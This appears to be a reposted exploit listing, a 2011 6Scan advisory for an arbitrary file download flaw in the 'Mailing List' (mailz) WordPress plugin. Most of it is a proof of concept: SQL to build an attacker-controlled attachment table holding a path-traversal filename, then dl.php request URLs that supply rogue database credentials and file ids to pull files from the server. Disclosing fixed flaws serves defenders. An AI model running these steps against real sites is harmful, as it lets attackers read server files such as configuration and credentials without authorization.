扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#Exploit Title: Mailing List plugin for WordPress Arbitrary file download #Version:< 1.4.2 #Date: 2011-12-19 #Author: 6Scan (http://6scan.com) security team #Software Link: http://wordpress.org/extend/plugins/mailz/ #Official fix: This advisory is released after the vendor (http://www.zingiri.com)was contacted and fixed the issue promptly. #Description :Unauthorized users can download arbitrary files from the server using this exploit. # Vulnerable script includes config.php file, which connects to database with supplied credentials. Database entries are used to retrieve files from host. # The bug is in config.php, but accessible from other file. PoC 1) Setup mysql database 2) Create table with the next structure: CREATE TABLE IF NOT EXISTS <code>phplist_attachment</code> ( filename</code> varchar(1024) NOT NULL, mimetype</code> varchar(1024) NOT NULL, remotefile</code> varchar(1024) NOT NULL, description</code> varchar(1024) NOT NULL, size</code> int(11) NOT NULL, id</code> int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 3) Add this raw into database: INSERT INTO <code>phplist_attachment</code> (<code>filename</code>, <code>mimetype</code>, <code>remotefile</code>, <code>description</code>, <code>size</code>, <code>id</code>) VALUES ('../../../../../somefile.txt', '', '', '', 0, 0); 4) Call the script with database parameters and file id to download: http://192.168.0.1/wp-content/plugins/mailz/lists/dl.php?wph=localhost&wpdb=test&user=root&wpp=root&id=0 The credentials are now saved in session, and there is no need to continue passing them: http://192.168.0.1/wp-content/plugins/mailz/lists/dl.php?id=1 http://192.168.0.1/wp-content/plugins/mailz/lists/dl.php?id=2 http://192.168.0.1/wp-content/plugins/mailz/lists/dl.php?id=3 |
体验盒子
